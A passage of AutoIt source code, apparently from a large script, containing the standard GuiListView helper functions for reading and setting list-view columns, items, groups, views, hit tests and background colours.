  6262.     If IsHWnd($hwnd) Then
  6263.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6264.             _sendmessage($hwnd, $lvm_getsubitemrect, $iindex, $trect, 0, "wparam", "struct*")
  6265.         Else
  6266.             Local $irect = DllStructGetSize($trect)
  6267.             Local $tmemmap
  6268.             Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  6269.             _memwrite($tmemmap, $trect, $pmemory, $irect)
  6270.             _sendmessage($hwnd, $lvm_getsubitemrect, $iindex, $pmemory, 0, "wparam", "ptr")
  6271.             _memread($tmemmap, $pmemory, $trect, $irect)
  6272.             _memfree($tmemmap)
  6273.         EndIf
  6274.     Else
  6275.         GUICtrlSendMsg($hwnd, $lvm_getsubitemrect, $iindex, DllStructGetPtr($trect))
  6276.     EndIf
  6277.     Local $arect[4]
  6278.     $arect[0] = DllStructGetData($trect, "Left")
  6279.     $arect[1] = DllStructGetData($trect, "Top")
  6280.     $arect[2] = DllStructGetData($trect, "Right")
  6281.     $arect[3] = DllStructGetData($trect, "Bottom")
  6282.     Return $arect
  6283. EndFunc
  6284.  
  6285. Func _guictrllistview_gettextbkcolor($hwnd)
  6286.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6287.     If IsHWnd($hwnd) Then
  6288.         Return _sendmessage($hwnd, $lvm_gettextbkcolor)
  6289.     Else
  6290.         Return GUICtrlSendMsg($hwnd, $lvm_gettextbkcolor, 0, 0)
  6291.     EndIf
  6292. EndFunc
  6293.  
  6294. Func _guictrllistview_gettextcolor($hwnd)
  6295.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6296.     If IsHWnd($hwnd) Then
  6297.         Return _sendmessage($hwnd, $lvm_gettextcolor)
  6298.     Else
  6299.         Return GUICtrlSendMsg($hwnd, $lvm_gettextcolor, 0, 0)
  6300.     EndIf
  6301. EndFunc
  6302.  
  6303. Func _guictrllistview_gettooltips($hwnd)
  6304.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6305.     If IsHWnd($hwnd) Then
  6306.         Return HWnd(_sendmessage($hwnd, $lvm_gettooltips))
  6307.     Else
  6308.         Return HWnd(GUICtrlSendMsg($hwnd, $lvm_gettooltips, 0, 0))
  6309.     EndIf
  6310. EndFunc
  6311.  
  6312. Func _guictrllistview_gettopindex($hwnd)
  6313.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6314.     If IsHWnd($hwnd) Then
  6315.         Return _sendmessage($hwnd, $lvm_gettopindex)
  6316.     Else
  6317.         Return GUICtrlSendMsg($hwnd, $lvm_gettopindex, 0, 0)
  6318.     EndIf
  6319. EndFunc
  6320.  
  6321. Func _guictrllistview_getunicodeformat($hwnd)
  6322.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6323.     If IsHWnd($hwnd) Then
  6324.         Return _sendmessage($hwnd, $lvm_getunicodeformat) <> 0
  6325.     Else
  6326.         Return GUICtrlSendMsg($hwnd, $lvm_getunicodeformat, 0, 0) <> 0
  6327.     EndIf
  6328. EndFunc
  6329.  
  6330. Func _guictrllistview_getview($hwnd)
  6331.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6332.     Local $view
  6333.     If IsHWnd($hwnd) Then
  6334.         $view = _sendmessage($hwnd, $lvm_getview)
  6335.     Else
  6336.         $view = GUICtrlSendMsg($hwnd, $lvm_getview, 0, 0)
  6337.     EndIf
  6338.     Switch $view
  6339.         Case $lv_view_details
  6340.             Return 0
  6341.         Case $lv_view_icon
  6342.             Return 1
  6343.         Case $lv_view_list
  6344.             Return 2
  6345.         Case $lv_view_smallicon
  6346.             Return 3
  6347.         Case $lv_view_tile
  6348.             Return 4
  6349.         Case Else
  6350.             Return  - 1
  6351.     EndSwitch
  6352. EndFunc
  6353.  
  6354. Func _guictrllistview_getviewdetails($hwnd)
  6355.     Return _guictrllistview_getview($hwnd) = 0
  6356. EndFunc
  6357.  
  6358. Func _guictrllistview_getviewlarge($hwnd)
  6359.     Return _guictrllistview_getview($hwnd) = 1
  6360. EndFunc
  6361.  
  6362. Func _guictrllistview_getviewlist($hwnd)
  6363.     Return _guictrllistview_getview($hwnd) = 2
  6364. EndFunc
  6365.  
  6366. Func _guictrllistview_getviewsmall($hwnd)
  6367.     Return _guictrllistview_getview($hwnd) = 3
  6368. EndFunc
  6369.  
  6370. Func _guictrllistview_getviewtile($hwnd)
  6371.     Return _guictrllistview_getview($hwnd) = 4
  6372. EndFunc
  6373.  
  6374. Func _guictrllistview_getviewrect($hwnd)
  6375.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6376.     Local $arect[4] = [0, 0, 0, 0]
  6377.     Local $iview = _guictrllistview_getview($hwnd)
  6378.     If ($iview <> 1) AND ($iview <> 3) Then Return $arect
  6379.     Local $trect = DllStructCreate($tagrect)
  6380.     If IsHWnd($hwnd) Then
  6381.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6382.             _sendmessage($hwnd, $lvm_getviewrect, 0, $trect, 0, "wparam", "struct*")
  6383.         Else
  6384.             Local $irect = DllStructGetSize($trect)
  6385.             Local $tmemmap
  6386.             Local $pmemory = _meminit($hwnd, $irect, $tmemmap)
  6387.             _sendmessage($hwnd, $lvm_getviewrect, 0, $pmemory, 0, "wparam", "ptr")
  6388.             _memread($tmemmap, $pmemory, $trect, $irect)
  6389.             _memfree($tmemmap)
  6390.         EndIf
  6391.     Else
  6392.         GUICtrlSendMsg($hwnd, $lvm_getviewrect, 0, DllStructGetPtr($trect))
  6393.     EndIf
  6394.     $arect[0] = DllStructGetData($trect, "Left")
  6395.     $arect[1] = DllStructGetData($trect, "Top")
  6396.     $arect[2] = DllStructGetData($trect, "Right")
  6397.     $arect[3] = DllStructGetData($trect, "Bottom")
  6398.     Return $arect
  6399. EndFunc
  6400.  
  6401. Func _guictrllistview_hidecolumn($hwnd, $icol)
  6402.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6403.     If IsHWnd($hwnd) Then
  6404.         Return _sendmessage($hwnd, $lvm_setcolumnwidth, $icol) <> 0
  6405.     Else
  6406.         Return GUICtrlSendMsg($hwnd, $lvm_setcolumnwidth, $icol, 0) <> 0
  6407.     EndIf
  6408. EndFunc
  6409.  
  6410. Func _guictrllistview_hittest($hwnd, $ix = -1, $iy = -1)
  6411.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6412.     Local $atest[10]
  6413.     Local $imode = Opt("MouseCoordMode", 1)
  6414.     Local $apos = MouseGetPos()
  6415.     Opt("MouseCoordMode", $imode)
  6416.     Local $tpoint = DllStructCreate($tagpoint)
  6417.     DllStructSetData($tpoint, "X", $apos[0])
  6418.     DllStructSetData($tpoint, "Y", $apos[1])
  6419.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  6420.     If @error Then Return SetError(@error, @extended, 0)
  6421.     If $aresult[0] = 0 Then Return 0
  6422.     If $ix = -1 Then $ix = DllStructGetData($tpoint, "X")
  6423.     If $iy = -1 Then $iy = DllStructGetData($tpoint, "Y")
  6424.     Local $ttest = DllStructCreate($taglvhittestinfo)
  6425.     DllStructSetData($ttest, "X", $ix)
  6426.     DllStructSetData($ttest, "Y", $iy)
  6427.     If IsHWnd($hwnd) Then
  6428.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6429.             $atest[0] = _sendmessage($hwnd, $lvm_hittest, 0, $ttest, 0, "wparam", "struct*")
  6430.         Else
  6431.             Local $itest = DllStructGetSize($ttest)
  6432.             Local $tmemmap
  6433.             Local $pmemory = _meminit($hwnd, $itest, $tmemmap)
  6434.             _memwrite($tmemmap, $ttest, $pmemory, $itest)
  6435.             $atest[0] = _sendmessage($hwnd, $lvm_hittest, 0, $pmemory, 0, "wparam", "ptr")
  6436.             _memread($tmemmap, $pmemory, $ttest, $itest)
  6437.             _memfree($tmemmap)
  6438.         EndIf
  6439.     Else
  6440.         $atest[0] = GUICtrlSendMsg($hwnd, $lvm_hittest, 0, DllStructGetPtr($ttest))
  6441.     EndIf
  6442.     Local $iflags = DllStructGetData($ttest, "Flags")
  6443.     $atest[1] = BitAND($iflags, $lvht_nowhere) <> 0
  6444.     $atest[2] = BitAND($iflags, $lvht_onitemicon) <> 0
  6445.     $atest[3] = BitAND($iflags, $lvht_onitemlabel) <> 0
  6446.     $atest[4] = BitAND($iflags, $lvht_onitemstateicon) <> 0
  6447.     $atest[5] = BitAND($iflags, $lvht_onitem) <> 0
  6448.     $atest[6] = BitAND($iflags, $lvht_above) <> 0
  6449.     $atest[7] = BitAND($iflags, $lvht_below) <> 0
  6450.     $atest[8] = BitAND($iflags, $lvht_toleft) <> 0
  6451.     $atest[9] = BitAND($iflags, $lvht_toright) <> 0
  6452.     Return $atest
  6453. EndFunc
  6454.  
  6455. Func __guictrllistview_indextooverlayimagemask($iindex)
  6456.     Return BitShift($iindex, -8)
  6457. EndFunc
  6458.  
  6459. Func __guictrllistview_indextostateimagemask($iindex)
  6460.     Return BitShift($iindex, -12)
  6461. EndFunc
  6462.  
  6463. Func _guictrllistview_insertcolumn($hwnd, $iindex, $stext, $iwidth = 50, $ialign = -1, $iimage = -1, $fonright = False)
  6464.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6465.     Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
  6466.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6467.     Local $ibuffer = StringLen($stext) + 1
  6468.     Local $tbuffer
  6469.     If $funicode Then
  6470.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  6471.         $ibuffer *= 2
  6472.     Else
  6473.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  6474.     EndIf
  6475.     Local $pbuffer = DllStructGetPtr($tbuffer)
  6476.     Local $tcolumn = DllStructCreate($taglvcolumn)
  6477.     Local $imask = BitOR($lvcf_fmt, $lvcf_width, $lvcf_text)
  6478.     If $ialign < 0 OR $ialign > 2 Then $ialign = 0
  6479.     Local $ifmt = $aalign[$ialign]
  6480.     If $iimage <> -1 Then
  6481.         $imask = BitOR($imask, $lvcf_image)
  6482.         $ifmt = BitOR($ifmt, $lvcfmt_col_has_images, $lvcfmt_image)
  6483.     EndIf
  6484.     If $fonright Then $ifmt = BitOR($ifmt, $lvcfmt_bitmap_on_right)
  6485.     DllStructSetData($tbuffer, "Text", $stext)
  6486.     DllStructSetData($tcolumn, "Mask", $imask)
  6487.     DllStructSetData($tcolumn, "Fmt", $ifmt)
  6488.     DllStructSetData($tcolumn, "CX", $iwidth)
  6489.     DllStructSetData($tcolumn, "TextMax", $ibuffer)
  6490.     DllStructSetData($tcolumn, "Image", $iimage)
  6491.     Local $iret
  6492.     If IsHWnd($hwnd) Then
  6493.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6494.             DllStructSetData($tcolumn, "Text", $pbuffer)
  6495.             $iret = _sendmessage($hwnd, $lvm_insertcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
  6496.         Else
  6497.             Local $icolumn = DllStructGetSize($tcolumn)
  6498.             Local $tmemmap
  6499.             Local $pmemory = _meminit($hwnd, $icolumn + $ibuffer, $tmemmap)
  6500.             Local $ptext = $pmemory + $icolumn
  6501.             DllStructSetData($tcolumn, "Text", $ptext)
  6502.             _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
  6503.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  6504.             If $funicode Then
  6505.                 $iret = _sendmessage($hwnd, $lvm_insertcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
  6506.             Else
  6507.                 $iret = _sendmessage($hwnd, $lvm_insertcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
  6508.             EndIf
  6509.             _memfree($tmemmap)
  6510.         EndIf
  6511.     Else
  6512.         Local $pcolumn = DllStructGetPtr($tcolumn)
  6513.         DllStructSetData($tcolumn, "Text", $pbuffer)
  6514.         If $funicode Then
  6515.             $iret = GUICtrlSendMsg($hwnd, $lvm_insertcolumnw, $iindex, $pcolumn)
  6516.         Else
  6517.             $iret = GUICtrlSendMsg($hwnd, $lvm_insertcolumna, $iindex, $pcolumn)
  6518.         EndIf
  6519.     EndIf
  6520.     If $ialign > 0 Then _guictrllistview_setcolumn($hwnd, $iret, $stext, $iwidth, $ialign, $iimage, $fonright)
  6521.     Return $iret
  6522. EndFunc
  6523.  
  6524. Func _guictrllistview_insertgroup($hwnd, $iindex, $igroupid, $sheader, $ialign = 0)
  6525.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6526.     Local $aalign[3] = [$lvga_header_left, $lvga_header_center, $lvga_header_right]
  6527.     If $ialign < 0 OR $ialign > 2 Then $ialign = 0
  6528.     Local $theader = _winapi_multibytetowidechar($sheader)
  6529.     Local $pheader = DllStructGetPtr($theader)
  6530.     Local $iheader = StringLen($sheader)
  6531.     Local $tgroup = DllStructCreate($taglvgroup)
  6532.     Local $igroup = DllStructGetSize($tgroup)
  6533.     Local $imask = BitOR($lvgf_header, $lvgf_align, $lvgf_groupid)
  6534.     DllStructSetData($tgroup, "Size", $igroup)
  6535.     DllStructSetData($tgroup, "Mask", $imask)
  6536.     DllStructSetData($tgroup, "HeaderMax", $iheader)
  6537.     DllStructSetData($tgroup, "GroupID", $igroupid)
  6538.     DllStructSetData($tgroup, "Align", $aalign[$ialign])
  6539.     Local $iret
  6540.     If IsHWnd($hwnd) Then
  6541.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6542.             DllStructSetData($tgroup, "Header", $pheader)
  6543.             $iret = _sendmessage($hwnd, $lvm_insertgroup, $iindex, $tgroup, 0, "wparam", "struct*")
  6544.         Else
  6545.             Local $tmemmap
  6546.             Local $pmemory = _meminit($hwnd, $igroup + $iheader, $tmemmap)
  6547.             Local $ptext = $pmemory + $igroup
  6548.             DllStructSetData($tgroup, "Header", $ptext)
  6549.             _memwrite($tmemmap, $tgroup, $pmemory, $igroup)
  6550.             _memwrite($tmemmap, $theader, $ptext, $iheader)
  6551.             $iret = _sendmessage($hwnd, $lvm_insertgroup, $iindex, $tgroup, 0, "wparam", "struct*")
  6552.             _memfree($tmemmap)
  6553.         EndIf
  6554.     Else
  6555.         DllStructSetData($tgroup, "Header", $pheader)
  6556.         $iret = GUICtrlSendMsg($hwnd, $lvm_insertgroup, $iindex, DllStructGetPtr($tgroup))
  6557.     EndIf
  6558.     Return $iret
  6559. EndFunc
  6560.  
  6561. Func _guictrllistview_insertitem($hwnd, $stext, $iindex = -1, $iimage = -1, $iparam = 0)
  6562.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6563.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6564.     Local $ibuffer, $tbuffer, $iret
  6565.     If $iindex = -1 Then $iindex = 999999999
  6566.     Local $titem = DllStructCreate($taglvitem)
  6567.     DllStructSetData($titem, "Param", $iparam)
  6568.     If $stext <> -1 Then
  6569.         $ibuffer = StringLen($stext) + 1
  6570.         If $funicode Then
  6571.             $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  6572.             $ibuffer *= 2
  6573.         Else
  6574.             $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  6575.         EndIf
  6576.         DllStructSetData($tbuffer, "Text", $stext)
  6577.         DllStructSetData($titem, "Text", DllStructGetPtr($tbuffer))
  6578.         DllStructSetData($titem, "TextMax", $ibuffer)
  6579.     Else
  6580.         DllStructSetData($titem, "Text", -1)
  6581.     EndIf
  6582.     Local $imask = BitOR($lvif_text, $lvif_param)
  6583.     If $iimage >= 0 Then $imask = BitOR($imask, $lvif_image)
  6584.     DllStructSetData($titem, "Mask", $imask)
  6585.     DllStructSetData($titem, "Item", $iindex)
  6586.     DllStructSetData($titem, "Image", $iimage)
  6587.     If IsHWnd($hwnd) Then
  6588.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) OR ($stext = -1) Then
  6589.             $iret = _sendmessage($hwnd, $lvm_insertitemw, 0, $titem, 0, "wparam", "struct*")
  6590.         Else
  6591.             Local $iitem = DllStructGetSize($titem)
  6592.             Local $tmemmap
  6593.             Local $pmemory = _meminit($hwnd, $iitem + $ibuffer, $tmemmap)
  6594.             Local $ptext = $pmemory + $iitem
  6595.             DllStructSetData($titem, "Text", $ptext)
  6596.             _memwrite($tmemmap, $titem, $pmemory, $iitem)
  6597.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  6598.             If $funicode Then
  6599.                 $iret = _sendmessage($hwnd, $lvm_insertitemw, 0, $pmemory, 0, "wparam", "ptr")
  6600.             Else
  6601.                 $iret = _sendmessage($hwnd, $lvm_insertitema, 0, $pmemory, 0, "wparam", "ptr")
  6602.             EndIf
  6603.             _memfree($tmemmap)
  6604.         EndIf
  6605.     Else
  6606.         Local $pitem = DllStructGetPtr($titem)
  6607.         If $funicode Then
  6608.             $iret = GUICtrlSendMsg($hwnd, $lvm_insertitemw, 0, $pitem)
  6609.         Else
  6610.             $iret = GUICtrlSendMsg($hwnd, $lvm_insertitema, 0, $pitem)
  6611.         EndIf
  6612.     EndIf
  6613.     Return $iret
  6614. EndFunc
  6615.  
  6616. Func _guictrllistview_insertmarkhittest($hwnd, $ix = -1, $iy = -1)
  6617.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6618.     Local $imode = Opt("MouseCoordMode", 1)
  6619.     Local $apos = MouseGetPos()
  6620.     Opt("MouseCoordMode", $imode)
  6621.     Local $tpoint = DllStructCreate($tagpoint)
  6622.     DllStructSetData($tpoint, "X", $apos[0])
  6623.     DllStructSetData($tpoint, "Y", $apos[1])
  6624.     Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  6625.     If @error Then Return SetError(@error, @extended, 0)
  6626.     If $aresult[0] = 0 Then Return 0
  6627.     If $ix = -1 Then $ix = DllStructGetData($tpoint, "X")
  6628.     If $iy = -1 Then $iy = DllStructGetData($tpoint, "Y")
  6629.     Local $tmark = DllStructCreate($taglvinsertmark)
  6630.     Local $imark = DllStructGetSize($tmark)
  6631.     DllStructSetData($tpoint, "X", $ix)
  6632.     DllStructSetData($tpoint, "Y", $iy)
  6633.     DllStructSetData($tmark, "Size", $imark)
  6634.     If IsHWnd($hwnd) Then
  6635.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6636.             _sendmessage($hwnd, $lvm_insertmarkhittest, $tpoint, $tmark, 0, "struct*", "struct*")
  6637.         Else
  6638.             Local $ipoint = DllStructGetSize($tpoint)
  6639.             Local $tmemmap
  6640.             Local $pmemm = _meminit($hwnd, $ipoint + $imark, $tmemmap)
  6641.             Local $pmemp = $pmemm + $ipoint
  6642.             _memwrite($tmemmap, $tmark, $pmemm, $imark)
  6643.             _memwrite($tmemmap, $tpoint, $pmemp, $ipoint)
  6644.             _sendmessage($hwnd, $lvm_insertmarkhittest, $pmemp, $pmemm, 0, "wparam", "ptr")
  6645.             _memread($tmemmap, $pmemm, $tmark, $imark)
  6646.             _memfree($tmemmap)
  6647.         EndIf
  6648.     Else
  6649.         GUICtrlSendMsg($hwnd, $lvm_insertmarkhittest, DllStructGetPtr($tpoint), DllStructGetPtr($tmark))
  6650.     EndIf
  6651.     Local $atest[2]
  6652.     $atest[0] = DllStructGetData($tmark, "Flags") = $lvim_after
  6653.     $atest[1] = DllStructGetData($tmark, "Item")
  6654.     Return $atest
  6655. EndFunc
  6656.  
  6657. Func _guictrllistview_isitemvisible($hwnd, $iindex)
  6658.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6659.     If IsHWnd($hwnd) Then
  6660.         Return _sendmessage($hwnd, $lvm_isitemvisible, $iindex) <> 0
  6661.     Else
  6662.         Return GUICtrlSendMsg($hwnd, $lvm_isitemvisible, $iindex, 0) <> 0
  6663.     EndIf
  6664. EndFunc
  6665.  
  6666. Func _guictrllistview_justifycolumn($hwnd, $iindex, $ialign = -1)
  6667.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6668.     Local $aalign[3] = [$lvcfmt_left, $lvcfmt_right, $lvcfmt_center]
  6669.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6670.     Local $tcolumn = DllStructCreate($taglvcolumn)
  6671.     If $ialign < 0 OR $ialign > 2 Then $ialign = 0
  6672.     Local $imask = $lvcf_fmt
  6673.     Local $ifmt = $aalign[$ialign]
  6674.     DllStructSetData($tcolumn, "Mask", $imask)
  6675.     DllStructSetData($tcolumn, "Fmt", $ifmt)
  6676.     Local $iret
  6677.     If IsHWnd($hwnd) Then
  6678.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6679.             $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $tcolumn, 0, "wparam", "struct*")
  6680.         Else
  6681.             Local $icolumn = DllStructGetSize($tcolumn)
  6682.             Local $tmemmap
  6683.             Local $pmemory = _meminit($hwnd, $icolumn, $tmemmap)
  6684.             _memwrite($tmemmap, $tcolumn, $pmemory, $icolumn)
  6685.             If $funicode Then
  6686.                 $iret = _sendmessage($hwnd, $lvm_setcolumnw, $iindex, $pmemory, 0, "wparam", "ptr")
  6687.             Else
  6688.                 $iret = _sendmessage($hwnd, $lvm_setcolumna, $iindex, $pmemory, 0, "wparam", "ptr")
  6689.             EndIf
  6690.             _memfree($tmemmap)
  6691.         EndIf
  6692.     Else
  6693.         Local $pcolumn = DllStructGetPtr($tcolumn)
  6694.         If $funicode Then
  6695.             $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumnw, $iindex, $pcolumn)
  6696.         Else
  6697.             $iret = GUICtrlSendMsg($hwnd, $lvm_setcolumna, $iindex, $pcolumn)
  6698.         EndIf
  6699.     EndIf
  6700.     Return $iret <> 0
  6701. EndFunc
  6702.  
  6703. Func _guictrllistview_mapidtoindex($hwnd, $iid)
  6704.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6705.     If IsHWnd($hwnd) Then
  6706.         Return _sendmessage($hwnd, $lvm_mapidtoindex, $iid)
  6707.     Else
  6708.         Return GUICtrlSendMsg($hwnd, $lvm_mapidtoindex, $iid, 0)
  6709.     EndIf
  6710. EndFunc
  6711.  
  6712. Func _guictrllistview_mapindextoid($hwnd, $iindex)
  6713.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6714.     If IsHWnd($hwnd) Then
  6715.         Return _sendmessage($hwnd, $lvm_mapindextoid, $iindex)
  6716.     Else
  6717.         Return GUICtrlSendMsg($hwnd, $lvm_mapindextoid, $iindex, 0)
  6718.     EndIf
  6719. EndFunc
  6720.  
  6721. Func _guictrllistview_movegroup($hwnd, $igroupid, $iindex = -1)
  6722.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6723.     If IsHWnd($hwnd) Then
  6724.         Return _sendmessage($hwnd, $lvm_movegroup, $igroupid, $iindex)
  6725.     Else
  6726.         Return GUICtrlSendMsg($hwnd, $lvm_movegroup, $igroupid, $iindex)
  6727.     EndIf
  6728. EndFunc
  6729.  
  6730. Func __guictrllistview_overlayimagemasktoindex($imask)
  6731.     Return BitShift(BitAND($lvis_overlaymask, $imask), 8)
  6732. EndFunc
  6733.  
  6734. Func _guictrllistview_redrawitems($hwnd, $ifirst, $ilast)
  6735.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6736.     If IsHWnd($hwnd) Then
  6737.         Return _sendmessage($hwnd, $lvm_redrawitems, $ifirst, $ilast) <> 0
  6738.     Else
  6739.         Return GUICtrlSendMsg($hwnd, $lvm_redrawitems, $ifirst, $ilast) <> 0
  6740.     EndIf
  6741. EndFunc
  6742.  
  6743. Func _guictrllistview_registersortcallback($hwnd, $fnumbers = True, $farrows = True)
  6744.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6745.     If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  6746.     Local $hheader = _guictrllistview_getheader($hwnd)
  6747.     ReDim $alistviewsortinfo[UBound($alistviewsortinfo) + 1][$illistviewsortinfosize]
  6748.     $alistviewsortinfo[0][0] = UBound($alistviewsortinfo) - 1
  6749.     Local $iindex = $alistviewsortinfo[0][0]
  6750.     $alistviewsortinfo[$iindex][1] = $hwnd
  6751.     $alistviewsortinfo[$iindex][2] = DllCallbackRegister("__GUICtrlListView_Sort", "int", "int;int;hwnd")
  6752.     $alistviewsortinfo[$iindex][3] = -1
  6753.     $alistviewsortinfo[$iindex][4] = -1
  6754.     $alistviewsortinfo[$iindex][5] = 1
  6755.     $alistviewsortinfo[$iindex][6] = -1
  6756.     $alistviewsortinfo[$iindex][7] = 0
  6757.     $alistviewsortinfo[$iindex][8] = $fnumbers
  6758.     $alistviewsortinfo[$iindex][9] = $farrows
  6759.     $alistviewsortinfo[$iindex][10] = $hheader
  6760.     Return $alistviewsortinfo[$iindex][2] <> 0
  6761. EndFunc
  6762.  
  6763. Func _guictrllistview_removeallgroups($hwnd)
  6764.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6765.     If IsHWnd($hwnd) Then
  6766.         _sendmessage($hwnd, $lvm_removeallgroups)
  6767.     Else
  6768.         GUICtrlSendMsg($hwnd, $lvm_removeallgroups, 0, 0)
  6769.     EndIf
  6770. EndFunc
  6771.  
  6772. Func _guictrllistview_removegroup($hwnd, $igroupid)
  6773.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6774.     If IsHWnd($hwnd) Then
  6775.         Return _sendmessage($hwnd, $lvm_removegroup, $igroupid)
  6776.     Else
  6777.         Return GUICtrlSendMsg($hwnd, $lvm_removegroup, $igroupid, 0)
  6778.     EndIf
  6779. EndFunc
  6780.  
  6781. Func __guictrllistview_reversecolororder($icolor)
  6782.     Local $tc = Hex(String($icolor), 6)
  6783.     Return "0x" & StringMid($tc, 5, 2) & StringMid($tc, 3, 2) & StringMid($tc, 1, 2)
  6784. EndFunc
  6785.  
  6786. Func _guictrllistview_scroll($hwnd, $idx, $idy)
  6787.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6788.     If IsHWnd($hwnd) Then
  6789.         Return _sendmessage($hwnd, $lvm_scroll, $idx, $idy) <> 0
  6790.     Else
  6791.         Return GUICtrlSendMsg($hwnd, $lvm_scroll, $idx, $idy) <> 0
  6792.     EndIf
  6793. EndFunc
  6794.  
  6795. Func _guictrllistview_setbkcolor($hwnd, $icolor)
  6796.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6797.     Local $iret
  6798.     If IsHWnd($hwnd) Then
  6799.         $iret = _sendmessage($hwnd, $lvm_setbkcolor, 0, $icolor)
  6800.         _winapi_invalidaterect($hwnd)
  6801.     Else
  6802.         $iret = GUICtrlSendMsg($hwnd, $lvm_setbkcolor, 0, $icolor)
  6803.         _winapi_invalidaterect(GUICtrlGetHandle($hwnd))
  6804.     EndIf
  6805.     Return $iret <> 0
  6806. EndFunc
  6807.  
  6808. Func _guictrllistview_setbkimage($hwnd, $surl = "", $istyle = 0, $ixoffset = 0, $iyoffset = 0)
  6809.     If $debug_lv Then __udf_validateclassname($hwnd, $__listviewconstant_classname)
  6810.     Local $funicode = _guictrllistview_getunicodeformat($hwnd)
  6811.     If NOT IsHWnd($hwnd) Then Return SetError($lv_err, $lv_err, False)
  6812.     Local $astyle[2] = [$lvbkif_style_normal, $lvbkif_style_tile]
  6813.     Local $ibuffer = StringLen($surl) + 1
  6814.     Local $tbuffer
  6815.     If $funicode Then
  6816.         $tbuffer = DllStructCreate("wchar Text[" & $ibuffer & "]")
  6817.         $ibuffer *= 2
  6818.     Else
  6819.         $tbuffer = DllStructCreate("char Text[" & $ibuffer & "]")
  6820.     EndIf
  6821.     If @error Then Return SetError($lv_err, $lv_err, $lv_err)
  6822.     Local $pbuffer = DllStructGetPtr($tbuffer)
  6823.     Local $timage = DllStructCreate($taglvbkimage)
  6824.     Local $iret = 0
  6825.     If $surl <> "" Then $iret = $lvbkif_source_url
  6826.     $iret = BitOR($iret, $astyle[$istyle])
  6827.     DllStructSetData($tbuffer, "Text", $surl)
  6828.     DllStructSetData($timage, "Flags", $iret)
  6829.     DllStructSetData($timage, "XOffPercent", $ixoffset)
  6830.     DllStructSetData($timage, "YOffPercent", $iyoffset)
  6831.     If IsHWnd($hwnd) Then
  6832.         If _winapi_inprocess($hwnd, $_lv_ghlastwnd) Then
  6833.             DllStructSetData($timage, "Image", $pbuffer)
  6834.             $iret = _sendmessage($hwnd, $lvm_setbkimagew, 0, $timage, 0, "wparam", "struct*")
  6835.         Else
  6836.             Local $iimage = DllStructGetSize($timage)
  6837.             Local $tmemmap
  6838.             Local $pmemory = _meminit($hwnd, $iimage + $ibuffer, $tmemmap)
  6839.             Local $ptext = $pmemory + $iimage
  6840.             DllStructSetData($timage, "Image", $ptext)
  6841.             _memwrite($tmemmap, $timage, $pmemory, $iimage)
  6842.             _memwrite($tmemmap, $tbuffer, $ptext, $ibuffer)
  6843.             If $funicode Then
  6844.                 $iret = _sendmessage($hwnd, $lvm_setbkimagew, 0, $pmemory, 0, "wparam", "ptr")
  6845.             Else
  6846.                 $iret = _sendmessage($hwnd, $lvm_setbkimagea, 0, $pmemory, 0, "wparam", "ptr")
  6847.             EndIf
  6848.             _memfree($tmemmap)
  6849.         EndIf
  6850.     Else
  6851.         Local $pimage = DllStructGetPtr($timage)
